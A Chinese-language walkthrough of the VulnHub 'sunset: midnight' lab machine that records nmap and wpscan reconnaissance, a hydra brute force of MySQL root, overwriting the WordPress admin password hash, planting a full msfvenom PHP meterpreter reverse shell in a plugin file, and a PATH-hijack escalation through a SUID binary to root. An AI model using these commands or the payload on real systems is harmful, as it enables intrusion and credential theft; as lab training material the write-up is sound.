当前位置: 首页 > news >正文

sunset: midnight

https://www.vulnhub.com/entry/sunset-midnight,517/

主机发现端口扫描

  1. 探测存活主机,8是靶机

    nmap -sP 192.168.56.0/24                              
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:49 CST
    Nmap scan report for 192.168.56.1
    Host is up (0.00044s latency).
    MAC Address: 0A:00:27:00:00:14 (Unknown)
    Nmap scan report for 192.168.56.2
    Host is up (0.00028s latency).
    MAC Address: 08:00:27:37:A2:CB (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.8
    Host is up (0.00039s latency).
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.10
    
  2. 扫描靶机所有开放端口

    nmap -sT -min-rate 10000 -p- 192.168.56.8   
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:50 CST
    Nmap scan report for sunset-midnight (192.168.56.8)
    Host is up (0.0012s latency).
    Not shown: 65532 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    3306/tcp open  mysql
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    
  3. 扫描服务版本及系统版本

    nmap -sV -sT -O -p 22,80,3306 192.168.56.8
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:51 CST
    Nmap scan report for sunset-midnight (192.168.56.8)
    Host is up (0.00052s latency).PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
    3306/tcp open  mysql   MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.8
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  4. 扫描漏洞

    nmap -script=vuln -p 22,80,3306 192.168.56.8                                                                                                                                                                  
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:51 CST                                                                                                                                                
    Nmap scan report for sunset-midnight (192.168.56.8)                                                      
    Host is up (0.00042s latency).                                                                           PORT     STATE SERVICE                                                                                   
    22/tcp   open  ssh                                                                                       
    80/tcp   open  http     
    | http-wordpress-users:                                                                                                                                                                                           
    | Username found: admin                                                                                                                                                                                           
    |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'                                                                                                               
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.                                                                                                                                                  
    |_http-dombased-xss: Couldn't find any DOM based XSS.                                                                                                                                                             
    | http-enum:                                                                                             
    |   /blog/: Blog                                                                                         
    |   /wp-login.php: Possible admin folder                                                                 
    |   /wp-json: Possible admin folder                                                                      
    |   /robots.txt: Robots file                                                                             
    |   /readme.html: Wordpress version: 2                                                                   
    |   /: WordPress version: 5.4.2                                                                                                                                                                                   
    |   /feed/: Wordpress version: 5.4.2                                                                                                                                                                              
    |   /wp-includes/images/rss.png: Wordpress version 2.2 found.                                                                                                                                                     
    |   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.                                                                                                                                               
    |   /wp-includes/images/blank.gif: Wordpress version 2.6 found.                                                                                                                                                   
    |   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.                                                                                                                                                
    |   /wp-login.php: Wordpress login page.                                                                 
    |   /wp-admin/upgrade.php: Wordpress login page.                                                         
    |   /readme.html: Interesting, a readme.                                                                 
    |_  /contact/: Potentially interesting folder                                                                                                                                                                     
    3306/tcp open  mysql                                                                                                                                                                                              
    |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)                                                                                                                                       
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)     
    

    靶机CMS是wordpress ,确定版本后可以查询公开漏洞进行利用

    并且扫出mysql可能存在cve2012-2122

web渗透

  1. 知道CMS是wordpress,就用wpscan来扫一下

    wpscan --url http://sunset-midnight/  
    _______________________________________________________________  __          _______   _____                            \ \        / /  __ \ / ____|                                                                    \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ \  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                   WordPress Security Scanner by the WPScan Team                                                   Version 3.8.27                                                                  Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart                          
    _______________________________________________________________                                          [i] It seems like you have not updated the database for some time.                                       
    [?] Do you want to update now? [Y]es [N]o, default: [N]n                                                 
    [+] URL: http://sunset-midnight/ [192.168.56.8]                                                          
    [+] Started: Thu Dec  5 17:56:06 2024                                                                    Interesting Finding(s):                                                                                  [+] Headers                                                                                              | Interesting Entry: Server: Apache/2.4.38 (Debian)  | Found By: Headers (Passive Detection)                                                                 | Confidence: 100%                                                                                      [+] robots.txt found: http://sunset-midnight/robots.txt                                                  | Interesting Entries:                                                                                  |  - /wp-admin/                                                                                         |  - /wp-admin/admin-ajax.php                                                                           | Found By: Robots Txt (Aggressive Detection)                                                           | Confidence: 100%[+] XML-RPC seems to be enabled: http://sunset-midnight/xmlrpc.php| Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 100%                                                                                      | References:                                                                     |  - http://codex.wordpress.org/XML-RPC_Pingback_API                                                    |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/                  |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/                         |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://sunset-midnight/readme.html   | Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 100%                                                                                      [+] Upload directory has listing enabled: http://sunset-midnight/wp-content/uploads/                     | Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 100%                                                                                      [+] The external WP-Cron seems to be enabled: http://sunset-midnight/wp-cron.php| Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 60%                                                                                       | References:                                                                                           |  - https://www.iplocation.net/defend-wordpress-from-ddos                                              |  - https://github.com/wpscanteam/wpscan/issues/1299                                                   [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).                               | Found By: Rss Generator (Passive Detection)                                                           |  - http://sunset-midnight/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>              |  - http://sunset-midnight/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>       [+] WordPress theme in use: twentyseventeen                                                              | Location: http://sunset-midnight/wp-content/themes/twentyseventeen/                                   | Last Updated: 2024-07-16T00:00:00.000Z                                                                | Readme: http://sunset-midnight/wp-content/themes/twentyseventeen/readme.txt                           | [!] The version is out of date, the latest version is 3.7                                             | Style URL: http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507            | Style Name: Twenty Seventeen                                                                          | Style URI: https://wordpress.org/themes/twentyseventeen/                                              | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...| Author: the WordPress team                       | Author URI: https://wordpress.org/                                                                    |                                                                                                       | Found By: Css Style In Homepage (Passive Detection)                                                   | Confirmed By: Css Style In 404 Page (Passive Detection)                                    |                                                                                                       | Version: 2.3 (80% confidence)                                                                         | Found By: Style (Passive Detection)                                                                   |  - http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'
    [+] Enumerating All Plugins (via Passive Methods)                                                        
    [+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:                                                                                [+] simply-poll-master                                                                                   | Location: http://sunset-midnight/wp-content/plugins/simply-poll-master/                               |                                                                                                       | Found By: Urls In Homepage (Passive Detection)                                                        | Confirmed By: Urls In 404 Page (Passive Detection)                           |                                                                                                       | Version: 1.5 (100% confidence)                                                                        | Found By: Readme - Stable Tag (Aggressive Detection)                                                  |  - http://sunset-midnight/wp-content/plugins/simply-poll-master/readme.txt                            | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)                                       |  - http://sunset-midnight/wp-content/plugins/simply-poll-master/readme.txt                            [+] Enumerating Config Backups (via Passive and Aggressive Methods)                                      Checking Config Backups - Time: 00:00:01 <==========> (137 / 137) 100.00% Time: 00:00:01[i] No Config Backups Found.                                                                             [!] No WPScan API Token given, as a result vulnerability data has not been output.                       
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register    [+] Finished: Thu Dec  5 17:56:14 2024                                                                   
    [+] Requests Done: 172                                                                                   
    [+] Cached Requests: 7                                                                                   
    [+] Data Sent: 43.472 KB                                                                                 
    [+] Data Received: 444.822 KB
    [+] Memory used: 331.578 MB                         
    [+] Elapsed time: 00:00:08  
    

    版本为version 5.4.2 ,模板用的是twentyseventeen ,没扫到插件

  2. 网上没找到什么漏洞可以利用的

cve2012-2122

  1. 上边nmap扫描出可能存在cve2012-2122 ,我们尝试利用

    msf6 > search 2012-2122 
    msf6 exploit(multi/handler) > use 0 
    msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 192.168.56.8
    rhosts => 192.168.56.8                              
    msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run                                            [+] 192.168.56.8:3306     - 192.168.56.8:3306 The server allows logins, proceeding with bypass test      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 10% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 20% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 30% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 40% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 50% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 60% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 70% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 80% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 90% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 100% complete                     
    [-] 192.168.56.8:3306     - 192.168.56.8:3306 Unable to bypass authentication, this target may not be vulnerable
    [*] 192.168.56.8:3306     - Scanned 1 of 1 hosts (100% complete)                                         
    [*] Auxiliary module execution completed
    

    但是没有利用成功

暴力破解

  1. 没有思路了,可以尝试下暴力破解,wordpress我们枚举出了admin用户,mysql我们尝试破解root用户,同时进行破解

  2. 暴力破解wordpress

    wpscan --url http://sunset-midnight/ -U admin --passwords /usr/share/wordlists/rockyou.txt
    
  3. 暴力破解mysql

    hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql
    
  4. 很快就爆破出了mysql的密码

    hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql
    Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-05 23:13:16
    [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
    [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
    [DATA] attacking mysql://192.168.56.8:3306/
    [3306][mysql] host: 192.168.56.8   login: root   password: robert
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-05 23:13:21
    

    密码是robert

数据库寻找敏感信息

  1. 利用Navicat登录mysql ,寻找WP的用户表

    在这里插入图片描述

    发现密码,不过是加密的

  2. 通过hash-identifier 识别

    hash-identifier     ##########################################################################     __  __                     __           ______    _____           #  #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         ##    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        ##     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       ##      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      ##       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      ##        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 ##                                                             By Zion3R ##                                                    www.Blackploit.com ##                                                   Root@Blackploit.com ##########################################################################
    --------------------------------------------------HASH: $P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ Possible Hashs:
    [+] MD5(Wordpress)
    
  3. 尝试破解没破解出来

  4. 创建了一个MD5替换上去即可

    下边是123456MD5值,将其替换上去

    e10adc3949ba59abbe56e057f20f883e
    

    在这里插入图片描述

  5. 尝试登陆WP后台

后台getshell

  1. 尝试登录WP后台,密码是上边替换上去的123456

    在这里插入图片描述

  2. PluginsPlugin Editor 的右上角的Select plugin to edit 选择Simply Poll 然后select

    在这里插入图片描述

  3. 然后选择simply-poll.php 进行修改,写入phpinfo进行测试

    在这里插入图片描述

  4. 路径为 /wp-content/plugins/simply-poll-master/simply-poll.php ,访问

    在这里插入图片描述

    测试成功

  5. 直接上线MSF (.10kali IP)

    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.56.10
    msf6 exploit(multi/handler) > set lport 1234
    msf6 exploit(multi/handler) > run
    

    然后再msfvenom生成payload ,然后将代码写入到上边的simply-poll.php

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.10 lport=1234 -f raw            
    [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
    [-] No arch selected, selecting arch: php from the payload
    No encoder specified, outputting raw payload
    Payload size: 1114 bytes/*<?php /**/ error_reporting(0); $ip = '192.168.56.10'; $port = 1234; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
    

    在这里插入图片描述

  6. 然后再次访问/wp-content/plugins/simply-poll-master/simply-poll.php MSF获取到shell

    msf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 192.168.56.10:1234 
    [*] Sending stage (39927 bytes) to 192.168.56.8
    [*] Meterpreter session 1 opened (192.168.56.10:1234 -> 192.168.56.8:50890) at 2024-12-05 23:59:21 +0800meterpreter > 
    

提权

  1. 查看权限

    meterpreter > sysinfo
    Computer    : midnight
    OS          : Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
    Meterpreter : php/linuxmeterpreter > getuid
    Server username: www-data$ ip add
    ip add
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
    2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000link/ether 08:00:27:a6:df:28 brd ff:ff:ff:ff:ff:ffinet 192.168.56.8/24 brd 192.168.56.255 scope global dynamic enp0s3valid_lft 431sec preferred_lft 431secinet6 fe80::a00:27ff:fea6:df28/64 scope link valid_lft forever preferred_lft forever
    
  2. 寻找敏感文件

    • /var/www/html/wp-config.php 发现jose账号密码(加密)

      /** MySQL database username */                                                                                                                               
      define( 'DB_USER', 'jose' );                                                                                                                                 /** MySQL database password */                                                                                                                               
      define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' ); 
      
  3. 尝试破解

    看起来是MD5,使用开膛手以及在线网站破解,无果

  4. 最后尝试直接使用这串字符串登录

    ssh jose@192.168.56.8  
    jose@192.168.56.8's password: 
    Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    Last login: Sat Jul 18 15:33:29 2020 from 192.168.100.139
    jose@midnight:~$ 
    

    登陆成功。。。神经

  5. 寻找敏感文件

    • 家目录下user.txt

      jose@midnight:~$ cat user.txt 
      956a9564aa5632edca7b745c696f6575
      

      应该是flag

    • suid

      jose@midnight:~$ find / -perm -u=s -type f 2>/dev/null
      /usr/bin/su
      /usr/bin/sudo
      /usr/bin/status
      /usr/bin/chfn
      /usr/bin/passwd
      /usr/bin/chsh
      /usr/bin/umount
      /usr/bin/newgrp
      /usr/bin/mount
      /usr/bin/gpasswd
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      
  6. suid发现/usr/bin/status 尝试执行

    jose@midnight:/tmp$ status
    sh: 1: service: not found
    Status of the SSH server:
    

    去寻找了service,但是没找到

  7. 思路:在新建service然后里边是提权代码,让status去找它(通过环境变量)

    • 新建service文件

      jose@midnight:/tmp$ echo "/bin/bash" > service
      jose@midnight:/tmp$ chmod 777 service 
      
    • 修改环境变量,将/tmp目录放在前头(看目录进行修改)

      jose@midnight:/tmp$ export PATH=/tmp:$PATH
      jose@midnight:/tmp$ echo $PATH
      /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
      
    • 运行status

      jose@midnight:/tmp$ /usr/bin/status
      root@midnight:/tmp# 
      

      获得root!!!

  8. 读取flag

    root@midnight:~# cd /root
    root@midnight:/root# ls
    root.txt  status  status.c
    root@midnight:/root# cat root.txt ___   ____/' --;^/ ,-_\     \ | // / --o\ o-\ \\   --(_)--/-/-/|o|-|\-\\|\\   / | \'`  ` |-|   `` '|-||-|O|-(\,__...|-|\--,\_....,;;;;;;;;;;;;;;;;;;;;;;;;,.
    ~,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,  ______   ---------   _____     ------db2def9d4ddcb83902b884de39d426e6Thanks for playing! - Felipe Winsnes (@whitecr0wz)
    

相关文章:

sunset: midnight

https://www.vulnhub.com/entry/sunset-midnight,517/ 主机发现端口扫描 探测存活主机&#xff0c;8是靶机 nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:49 CST Nmap scan report for 192.168.56.1 …...

CSS Backgrounds(背景)

CSS Backgrounds(背景) Introduction(介绍) CSS backgrounds play a crucial role in web design, allowing developers to apply colors, images, and other decorative elements to the background of HTML elements. This enhances the visual appeal of web pages and he…...

D101【python 接口自动化学习】- pytest进阶之fixture用法

day101 pytest的fixture执行顺序 学习日期&#xff1a;20241218 学习目标&#xff1a;pytest基础用法 -- pytest的fixture执行顺序 学习笔记&#xff1a; fixtrue的作用范围 实战结果 import pytestpytest.fixture(scopesession) def test_session():print(我是 session f…...

HCIA-Access V2.5_4_1_1路由协议基础_IP路由表

大型网络的拓扑结构一般会比较复杂&#xff0c;不同的部门&#xff0c;或者总部和分支可能处在不同的网络中&#xff0c;此时就需要使用路由器来连接不同的网络&#xff0c;实现网络之间的数据转发。 本章将介绍路由协议的基础知识、路由表的分类、静态路由基础与配置、VLAN间…...

Meta重磅发布Llama 3.3 70B:开源AI模型的新里程碑

在人工智能领域&#xff0c;Meta的最新动作再次引起了全球的关注。今天&#xff0c;我们见证了Meta发布的Llama 3.3 70B模型&#xff0c;这是一个开源的人工智能模型&#xff0c;它不仅令人印象深刻&#xff0c;而且在性能上达到了一个新的高度。 一&#xff0c;技术突破&#…...

20241218_segmentation

参考&#xff1a; 使用SA模型 https://ai.meta.com/research/publications/segment-anything/讲解生物学意义 https://www.nature.com/articles/s41593-024-01714-3#Sec13 x.0 workflow 图像分割方法识别出重要的ROI区域计算ROI区域个数&#xff08;需要计算机算法&#xff…...

公链常用的共识算法

1. 工作量证明&#xff08;Proof of Work, PoW&#xff09; 工作原理&#xff1a;要求节点&#xff08;矿工&#xff09;解决一个数学难题&#xff0c;这个过程称为挖矿。第一个解决难题的矿工将有权添加一个新的区块到区块链上&#xff0c;并获得一定数量的加密货币作为奖励。…...

监控易在汽车制造行业信息化运维中的应用案例

引言 随着汽车制造行业的数字化转型不断深入&#xff0c;信息化类IT软硬件设备的运行状态监控、故障告警、报表报告以及网络运行状态监控等成为了企业运维管理的关键环节。监控易作为一款全面、高效的信息化运维管理工具&#xff0c;在汽车制造行业中发挥着重要作用。本文将结合…...

Spring Boot项目使用虚拟线程

Spring Boot项目启用虚拟线程 开始基本使用先写一个测试方法通过springboot配置项开启虚拟线程 目前存在的问题 开始 虚拟线程正式发布是在JDK21&#xff0c;对于Spring Boot版本选择3以上。 基本使用 关于虚拟线程本身的使用&#xff0c;之前已经介绍过。这里要说的是直接将…...

Deveco Studio首次编译项目初始化失败

编译项目失败 Ohpm install失败的时候重新使用管理者打开程序 build init 初始化失败遇到了以下报错信息 Installing pnpm8.13.1... npm ERR! code CERT_HAS_EXPIRED npm ERR! errno CERT_HAS_EXPIRED npm ERR! request to https://registry.npm.taobao.org/pnpm failed, r…...

Unity 开发Apple Vision Pro空间锚点应用Spatial Anchor

空间锚点具有多方面的作用 虚拟物体定位与固定&#xff1a; 位置保持&#xff1a;可以把虚拟物体固定在现实世界中的特定区域或位置。即使使用者退出程序后再次打开&#xff0c;之前锚定过的虚拟物体仍然能够出现在之前所锚定的位置&#xff0c;为用户提供连贯的体验。比如在一…...

由学习率跟batch size 关系 引起的海塞矩阵和梯度计算在训练过程中的应用思考

最近看到了个一个学习率跟batch size 关系的帖子&#xff0c;里面说 OpenAI的《An Empirical *** Training》 通过损失函数的二阶近似分析SGD的最优学习率&#xff0c;得出“学习率随着Batch Size的增加而单调递增但有上界”的结论。推导过程中将学习率作为待优化参数纳入损失函…...

PHP开发日志 ━━ 基础知识:四种不同的变量返回方式该如何调用

最近在给框架升级&#xff0c;其中涉及到古早的缓存系统升级&#xff0c;现在准备区分类型为混合、变量和普通文件&#xff0c;那么变量用什么形式存储到缓存才能给后续开发带来便利和通用性呢&#xff1f;于是就涉及到了本文的php基础知识。 好吧&#xff0c;又是一个无用的知…...

centos上配置yum源

1. 进入yum源repo的目录 cd /etc/yum.repos.d/然后可以通过ls查看下面所有的后缀为.repo的文件 2. 新建一个备份目录&#xff0c;将原有的.repo文件放到其中 mkdir yum.repos.d.backup mv *.repo yum.repos.d.backup/3. 获取阿里提供的repo配置文件 这里使用到了wget命令&a…...

Web3 时代:技术变革与未来展望

Web3作为下一代互联网技术&#xff0c;正在逐步改变我们使用互联网的方式。它的核心特点是去中心化&#xff0c;利用区块链技术&#xff0c;使得数据不再集中存储&#xff0c;用户能更好地掌控自己的信息。本文将简要介绍Web3的核心技术及其未来展望。 Web3代表的是去中心化的互…...

小程序快速实现大模型聊天机器人

需求分析&#xff1a; 基于大模型&#xff0c;打造一个聊天机器人&#xff1b;使用开放API快速搭建&#xff0c;例如&#xff1a;讯飞星火&#xff1b;先实现UI展示&#xff0c;在接入API。 最终实现效果如下&#xff1a; 一.聊天机器人UI部分 1. 创建微信小程序&#xff0c…...

用shell脚本来判断web服务是否运行(端口和进程两种方式)

判断web服务是否运行&#xff08;1、查看进程的方式判断该程序是否运行&#xff0c;2、通过查看端口的方式判断该程序是否运行&#xff09;&#xff0c;如果没有运行&#xff0c;则启动该服务并配置防火墙规则。------这里以nginx为例 一、用进程方式判断 &#xff08;1&#…...

Android运行低版本项目可能遇到的问题

Android运行低版本项目可能遇到的问题 低版本项目总是遇到各种问题的&#xff0c;耐心点 一、gradle-xxx.xxx.xxx.zip一直下载不下来 在gradle-wrapper.properties可以试下 distributionBaseGRADLE_USER_HOME distributionPathwrapper/dists zipStoreBaseGRADLE_USER_HOME …...

SQL Server 解决游标性能问题的替代方案

在 SQL Server 中&#xff0c;游标&#xff08;Cursor&#xff09;是一种用于逐行处理数据集的强大工具&#xff0c;但在某些情况下&#xff0c;它们可能会导致性能问题&#xff0c;尤其是在处理大量数据时。为了提高性能和可维护性&#xff0c;可以考虑使用其他替代方案。以下…...

【论文笔记】CLIP-guided Prototype Modulating for Few-shot Action Recognition

&#x1f34e;个人主页&#xff1a;小嗷犬的个人主页 &#x1f34a;个人网站&#xff1a;小嗷犬的技术小站 &#x1f96d;个人信条&#xff1a;为天地立心&#xff0c;为生民立命&#xff0c;为往圣继绝学&#xff0c;为万世开太平。 基本信息 标题: CLIP-guided Prototype Mo…...

PHP:从入门到进阶的全方位探索

PHP&#xff08;Hypertext Preprocessor&#xff09;作为一种开源的服务器端脚本语言&#xff0c;自1995年问世以来&#xff0c;凭借其简单易学、高效灵活的特点&#xff0c;迅速成为了Web开发领域的中流砥柱。无论是构建动态网页、开发Web应用程序&#xff0c;还是处理复杂的服…...

vue复习

1.试述前端开发技术发展变化历程&#xff0c;理解推动技术发展动力以及对软件开发职业的启发。 2.当前前端开发技术主要特征有哪些&#xff1f; 前后端分离开发&#xff1a; 前端专注页面展示效果与用户使用体验,后端专注为前端提供数据和服务。 工程化特征&#xff1a;模块…...

伊克罗德与九科信息共同发布RPA+AI智能机器人解决方案

12月12日&#xff0c;伊克罗德信息在上海举办“创见AI&#xff0c;迈进智能化未来——科技赋能零售电商”活动&#xff0c;与九科信息、亚马逊云科技共同探讨与分享&#xff0c;融合生成式AI技术和智能自动化&#xff08;RPA,Robotic Process Automation&#xff09;在电商零售…...

nano编辑器的使用

nano 是一个非常简单易用的命令行文本编辑器&#xff0c;它常用于在 Linux 或类 Unix 系统中快速编辑文件&#xff0c;特别适用于需要修改配置文件或快速编辑文本的场景。以下是一些常见的 nano 使用技巧和基本操作。 1. 打开文件 要使用 nano 编辑文件&#xff0c;打开终端并…...

灵当crm pdf.php存在任意文件读取漏洞

免责声明: 本文旨在提供有关特定漏洞的深入信息,帮助用户充分了解潜在的安全风险。发布此信息的目的在于提升网络安全意识和推动技术进步,未经授权访问系统、网络或应用程序,可能会导致法律责任或严重后果。因此,作者不对读者基于本文内容所采取的任何行为承担责任。读者在…...

Liinux下VMware Workstation Pro的安装,建议安装最新版本17.61

建议安装最新版本17.61&#xff0c;否则可能有兼容性问题 下载VMware Workstation安装软件 从官网网站下载 https://support.broadcom.com/group/ecx/productdownloads?subfamilyVMwareWorkstationPro 选择所需版本 现在最新版本是17.61&#xff0c;否则可能有兼容性问题…...

性能测试度量指标学习笔记

目录 一、概要 二、不同系统软件性能测试度量指标 三、性能测试度量指标 1、响应时间 2、用户数 3、系统处理能力 4、错误率 5、成功率 6、资源占用率 7、CPU利用率 8、内存页交换速率 9、内存占用率 10、磁盘IO 11、磁盘吞吐量 12、网络吞吐量 13、系统稳定性…...

一款可以替代Navicat的数据库管理工具

Navicat是一款非常受欢迎的数据库管理工具&#xff0c;基本支持市面上的所有数据库、而且支持跨平台。 可以说Navicat是一款功能强大、非常全面的数据库管理工具&#xff0c;提供了多种版本和定价方案&#xff0c;以满足不同用户的需求和预算。 也是很多企业的首选工具&#…...

使用C#在目录层次结构中搜索文件以查找目标字符串

例程以递归方式搜索目录层次结构中的文件以查找目标字符串。它可以搜索几乎任何类型的文件&#xff0c;即使它不包含 Windows 理解的文本。例如&#xff0c;它可以搜索 DLL 和可执行文件以查看它们是否恰好包含字符串。 下面的代码中显示的ListFiles 方法完成了大部分工作。 …...

C++设计模式

C设计模式 什么是 C 设计模式&#xff1f;设计模式的用途设计模式的核心原则设计模式的分类 1. 创建型设计模式1.1 单例模式&#xff08;Singleton Pattern&#xff09;1.2 工厂方法模式&#xff08;Factory Method Pattern&#xff09;1.3 抽象工厂模式&#xff08;Abstract F…...

LM芯片学习

1、LM7805稳压器 https://zhuanlan.zhihu.com/p/626577102?utm_campaignshareopn&utm_mediumsocial&utm_psn1852815231102873600&utm_sourcewechat_sessionhttps://zhuanlan.zhihu.com/p/626577102?utm_campaignshareopn&utm_mediumsocial&utm_psn18528…...

使用 MyBatis-Plus Wrapper 构建自定义 SQL 查询

